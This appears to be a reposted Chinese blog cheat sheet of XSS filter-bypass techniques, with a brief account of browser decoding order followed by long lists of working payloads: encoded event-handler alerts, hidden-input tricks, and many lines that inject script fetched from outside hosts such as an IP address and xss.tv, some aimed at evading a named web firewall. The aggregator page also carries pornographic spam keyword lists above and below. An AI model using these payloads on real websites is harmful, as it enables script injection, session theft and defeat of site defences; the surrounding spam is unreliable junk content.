日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【奇淫巧技】XSS绕过技巧

發布時間:2025/5/22 编程问答 22 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【奇淫巧技】XSS绕过技巧 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

XSS記錄

  1、首先是彈窗函數:

alert(1) prompt(1) confirm(1)
eval()

  2、然后是字符的編碼和瀏覽器的解析機制:

    要講編碼繞過,首先我們要理解瀏覽器的解析過程,瀏覽器在解析HTML文檔時無論按照什么順序,主要有三個過程:HTML解析、JS解析和URL解析,每個解析器負責HTML文檔中各自對應部分的解析工作。

    首先瀏覽器接收到一個HTML文檔時,會觸發HTML解析器對HTML文檔進行詞法解析,這一過程完成HTML解碼并創建DOM樹,接下來JavaScript解析器會介入對內聯腳本進行解析,這一過程完成JS的解碼工作,如果瀏覽器遇到需要URL的上下文環境,這時URL解析器也會介入完成URL的解碼工作,URL解析器的解碼順序會根據URL所在位置不同,可能在JavaScript解析器之前或之后解析。

    三個解析過程所對應的字符編碼分別為:HTML解析 => HTML實體編碼 、JS解析 =>?Unicode編碼 、URL解析 =>URL編碼。

需要注意的是:

1、Unicode編碼無法轉換控制字符如【'】【"】【()】,僅僅會將這些當成普通字符,而不是控制字符,也就是說你無法在<script>標簽中利用Unicode編碼單雙引號來閉合引號。
2、JavaScript偽協議除了HTML編碼之外不能進行其他編碼,這個單詞必須是完整的,因為瀏覽器最先解析HTML,之后javascript必須是完整的。

?

  3、下面我們用實際例子來解釋一下以上所說的瀏覽器解析過程和字符編碼是怎么回事,以及今天的重點---XSS繞過。

....暫定

?

hidden屬性標簽

插入點在hidden前,新增一個type屬性覆蓋hidden: <input value='a' src=1 οnerrοr=alert(1) type="image" type="hidden">

插入點在hidden后,shift+alt+accesskey: <input value='a' type="hidden" accesskey="x" οnclick=alert(1)>

?

彈窗驗證:

1、彈窗payload

<a href=javascript:alert`1`>click <button ‘ onclick=alert(1)//> <button onfocus=alert`122`> <object data=javascript:alert`1`> <body/onfocus=alert`9989`> <input/onfocus=alert`1`> <svg><script xlink:href=data:,alert(1) /> <iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;> <svg/οnlοad=alert(1)> <x contenteditable onblur=alert(1)>lose focus! <i contenteditable onblur=alert(1)>lose focus!//contenteditable:使可編輯 <x oncontextmenu=alert(1)>right click this! <c oncontextmenu=alert(1)>鼠標右鍵點擊 <iframe src="&Tab;javascript:prompt(1)&Tab;"> <ScRipT 1>prompt(1)</ScRipT 123 <input/οnfοcus=ev\u0061l(\u0061lert(1))> <input/onfocus=\u0061lert(1)> <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="> <details ontoggle=alert(1)> <Video><source onerror="javascript:alert(123)"> <iframe/src='data:text/html,<svg &#111;&#110;load=alert(1)>'>
[media=mp3,200,300]http://www.tudou.com/programs/view/a' οnlοad=alert(1) οnerrοr=alert(1)[/media]
<img/src=1 onmouseout=alert`1`> <a href="#" onclick=alert(‘\170\163\163’)>test3</a> //可以成功執行 <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe <img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"> <form><button formaction=javascript&colon;alert(1)>CLICKME <img src="1" onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>//必須要有雙引號,不然執行不了 <a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2//不能去掉雙引號 <a href=javascript:eval("&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;")>2 //可以去掉雙引號 <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;">2</a> <a href=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#47&#120&#115&#115&#47&#41>XSStest</a> <img src=9989 onerror="window['al\u0065rt'](111)"> <IMG SRC=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041"> <img src=9989 onerror=a=\u0061lert,a(1)>
<input/οninput=top['al\x65rt'](1)>
<img src=9989 onerror=[1].find(alert)> <img src=x:alert(alt) onerror=eval(src) alt=0> //以下都是要把[]進行url編碼 <img src=9989 onerror=top%5B%2fal%2f.source%2b%2fert%2f.source%5D%281%29>   //<img src=9989 onerror=top[/al/.source+/ert/.source](1)> <img src=9989 onerror=top%5B%22al%22%2b%22ert%22%5D%281%29>           //<img src=9989 onerror=top["al"+"ert"](1)> <img src=9989 onerror=top%5B%27al%5C145rt%27%5D%281%29>               //<img src=9989 onerror=top['al\145rt'](1)> <img src=9989 onerror=top%5B'al\x65rt'%5D(1)>                    //<img src=9989 onerror=top['al\x65rt'](1)> <img/src/οnerrοr=top[8680439..toString`30`]`1`>
top[8680439..toString`30`]
top[/al/.source+/ert/.source]
onError="%26#x61lert(1)"
<img/src='a'οnerrοr=[1].find(alert)>
<img/src='2'οnerrοr=top[8680439..toString(30)](1)>
<a/href=javascript&colon;alert&grave;1&grave;>123</ a>
<img/src='2'οnerrοr=top[/al/.source+/ert/.source](1)>
<p/οncοpy=alert(1)> <div onscroll=alert`1`> <a href=javascript:confirm(1)>MM</a>

?

2、引入外部js,需要有jQuery庫

<html> <head> <script src="https://cdn.bootcss.com/jquery/3.4.1/jquery.js"></script> </head> <body><img/src=1 onerror=$.getScript("http://118.24.154.114/1.js");></body> </html>

?

?

3、Unicode編碼繞過例子

<html> <head> </head> <body><div id="s"></div><script>var s="\u003cimg/src=1\u003e"; document.getElementById('s').innerHTML = s; </script></body> </html>

以上代碼由于使用了innerHTML 方法,可以使用Unicode表面皿繞過檢測。

?

?4、利用巧用換行繞過url規則檢測:

<?php $url = filter_var($_GET['url'],FILTER_VALIDATE_URL); var_dump($url); $url = htmlspecialchars($url); var_dump($url); echo "<a href='$url'>Next slide</a>" ?>

???       

?

利用代碼:

<img/src=1 onmouseover=s=createElement('\163\143\162\151\160\164');body.appendChild(s);s.src="//xss.tv">
<img src=1 οnerrοr="with(document)body.appendChild(createElement(String.fromCharCode(115,99,114,105,112,116))).src='\150\164\164\160\72\'"> JS 8進制

下面是一位大佬的文章,這里直接引用了,有空再整理。

https://bbs.ichunqiu.com/thread-31886-1-1.html 這里的連接字符,我研究出來一些payload,能夠script,document等危險字符過濾的情況下,不需要在任何編碼的情況下,去構造一個payload當document被過濾的情況下,又不能用編碼 +被過濾,又不能編碼 <svg/onload="[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})"><svg/onload="[1].find(function(){with(`docom%27|e|%27nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})"><svg/onload="[1].find(function(){with(`docom%27%2Be%2B%27nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})"><svg/onload="[1].find(function(){with(`docom'+e+'nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})"><svg/onload="[1].find(function(){with(`docom'-e-'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"><svg/onload="[1].find(function(){with(`docom'*e*'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})">
<svg/onload="[1].find(function(){with(`docom'/e/'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"><svg/onload="[1].find(function(){with(`docom'%e%'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"><svg/onload="[1].find(function(){with(`docom'^e^'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"><svg/onload="[1].find(function(){with(`docom'>e>'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"><svg/onload="[1].find(function(){with(`docom'<e<'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"><script type="text/javascript">   var a = ''>=alert``<='';var a = ''+alert``+''; </script><keygen autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xsspt.com/JUvhKT">支持火狐 360, 谷歌失敗,過主機衛士就是下面這些連接符號輸出在script內字符串位置的情況 如果允許閉合字符串,直接閉合并寫入javascript即可,如: http://mhz.pw/game/xss/scriptstr.php?xss=%27|alert(1)|%27 http://t.mhz.pw/game/xss/scriptstr.php?xss='|alert(1)|' http://t.mhz.pw/game/xss/scriptstr.php?xss=%27%2Balert(1)%2B%27 http://t.mhz.pw/game/xss/scriptstr.php?xss='+alert(1)+' http://t.mhz.pw/game/xss/scriptstr.php?xss='-alert(1)-' http://t.mhz.pw/game/xss/scriptstr.php?xss='*alert(1)*' http://t.mhz.pw/game/xss/scriptstr.php?xss='/alert(1)/' http://t.mhz.pw/game/xss/scriptstr.php?xss='%alert(1)%' http://t.mhz.pw/game/xss/scriptstr.php?xss='^alert(1)^' http://t.mhz.pw/game/xss/scriptstr.php?xss='>alert(1)>' http://t.mhz.pw/game/xss/scriptstr.php?xss='<alert(1)<' http://t.mhz.pw/game/xss/scriptstr.php?xss='>=alert(1)>=' http://t.mhz.pw/game/xss/scriptstr.php?xss='<=alert(1)<=' http://t.mhz.pw/game/xss/scriptstr.php?xss='==alert(1)==' http://t.mhz.pw/game/xss/scriptstr.php?xss='===alert(1)===' http://t.mhz.pw/game/xss/scriptstr.php?xss='!=alert(1)!=' http://t.mhz.pw/game/xss/scriptstr.php?xss='!==alert(1)!==' http://t.mhz.pw/game/xss/scriptstr.php?xss='%26alert(1)%26' http://t.mhz.pw/game/xss/scriptstr.php?xss='&alert(1)&' http://t.mhz.pw/game/xss/scriptstr.php?xss='|alert(1)|' http://t.mhz.pw/game/xss/scriptstr.php?xss='||alert(1)||' http://t.mhz.pw/game/xss/scriptstr.php?xss='>=alert(1)<='<svg/onload="[1].find(function(){with(`docom'|e|'nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})"><svg/onload=[1].find(function(){with(/do/.source+/cument/.source)body.appendChild(createElement("script")).src="http://xss.tv/XA"})><svg/onload=[1].find(function(){with(/docomen/.source+/t/.source);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})><svg/onload=[1].find(function(){with(`/docomen/.source+/t/.source`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})><svg/onload=[1].find(function(){with(`/docomen/.1+/t/.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>/字符/.1+/字符/.1 字符加上字符 //.1 + //.1 這些只是連接字符的方式而已 ,總結起來就是 document而已<svg/onload=[1].find(function(){with(`\docomen\.1+\t\.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> / 換成 \ 也可以<svg/onload=[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> 不要加號也可以<svg/onload=[1].find(function(){with(`=docomen=.1+=t=.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /換成=號也可以<svg/onload=[1].find(function(){with(`=docomen=.1=t=.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> 不要加號也可以<svg/onload=[1].find(function(){with(`^docomen^.1+^t^.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /換成^號也可以<svg/onload=[1].find(function(){with(`^docomen^.1^t^.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})><svg/onload=[1].find(function(){with(`|docomen|.1+|t|.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /換成|號也可以<svg/onload=[1].find(function(){with(`|docomen|.1|t|.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})><svg/onload=[1].find(function(){with(`&docomen&.1+&t&.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /換成&號也可以 <svg/onload=[1].find(function(){with(`&docomen&.1&t&.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})><svg/onload=[1].find(function(){with(`%26docomen%26.1+$26t%26.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /換成%26也行<svg/onload=[1].find(function(){with(`%26docomen%26.1$26t%26.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> 不要引號也行Body加上括號也行 <svg/onload=[1].find(function(){with(`docomen`);(body.appendChild(createElement('script'))).src='http://xss.tv/XA'})><body/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,115,115,46,102,98,105,115,98,46,99,111,109,47,48,71,73,103,62,60,47,115,99,114,105,112,116,62))> <svg/onload=[1].find(function(){with('docu'==='ment');body.appendChild(createElement("script")).src="http://xss.tv/XA"})>

?

?

笨鳥先飛早入林,笨人勤學早成材。轉載請注明出處: 撰寫人:fox-yu http://www.cnblogs.com/fox-yu/

轉載于:https://www.cnblogs.com/fox-yu/p/8916497.html

總結

以上是生活随笔為你收集整理的【奇淫巧技】XSS绕过技巧的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 五月天国产精品 | 国产做爰高潮呻吟视频 | 小视频在线播放 | 三级亚洲 | 一本到免费视频 | 中文字幕在线一区 | 狠狠干免费视频 | 亚州av网| 青青艹在线视频 | 色视频网站在线观看 | 天堂久久精品 | 久久久久久免费毛片精品 | 国产原创91 | 日本wwww视频| 高跟91白丝 | 午夜在线不卡 | 天天插视频 | 久久婷婷网站 | 国产一级一片免费播放放a 丁香六月色 | 成人免费一区二区 | 亚洲伊人久久久 | 婷婷91 | 精品在线视频播放 | 在线观看免费观看 | 国产精品无码免费播放 | 久久一 | 无码人妻丰满熟妇精品区 | 片多多在线观看 | 少妇婷婷| 日韩精品一区二区三区在线观看 | 成人免费一区二区三区在线观看 | 九九日韩 | 久久8| 国精产品乱码一区一区三区四区 | 日本黄色小片 | 无码精品在线观看 | 中文字幕有码在线 | 手机在线毛片 | 黑人玩弄人妻一区二区绿帽子 | 搡老熟女国产 | 性欧美jzjz2 九草影院 | 国产日本欧美在线 | 国产综合久久久久久鬼色 | 中文字幕 欧美激情 | 性xxxx视频 | 精品人妻一区二区三区含羞草 | 天天综合视频 | 日本黄色不卡视频 | 日韩大尺度视频 | 久久久久久久久久综合 | 男女黄床上色视频免费的软件 | 精品国产成人 | 999午夜 | 欧美,日韩,国产在线 | 欧美视频免费看欧美视频 | 涩涩国产 | 久久久久久片 | 亚洲欧美日韩国产一区二区三区 | 熟女俱乐部一区二区视频在线 | 日本后进式猛烈xx00动态图 | 国产女人高潮毛片 | 中文字幕一区二区三区电影 | 日本一级淫片 | 在线视频欧美日韩 | 亚洲成人77777 | 光棍影院一区二区 | av男人的天堂在线 | 中文字幕色哟哟 | 95久久| 九草在线观看 | 97久久久久| 国产三级精品三级在线观看 | 日本不卡在线 | 欧美性猛交xxx乱大交3蜜桃 | 国产精品igao视频 | 伊人国产女 | 成年人免费看视频 | 嫩草视频网站 | 国产又粗又猛又黄 | 97九色| 在线观看黄色大片 | www.久久艹 | 中文字幕 自拍偷拍 | 18岁禁黄网站 | 日韩不卡中文字幕 | 蜜桃视频色 | 欧美黄色三级视频 | 成人免费av| 深夜天堂 | 一区二区三区免费观看 | 久久精品香蕉视频 | 日韩精选在线观看 | 欧美一区日韩一区 | 日批视屏 | 在线成人免费电影 | 午夜精品久久久久久久无码 | 国产又粗又长又大视频 | 国产偷自拍 | 欧美三个黑人玩3p |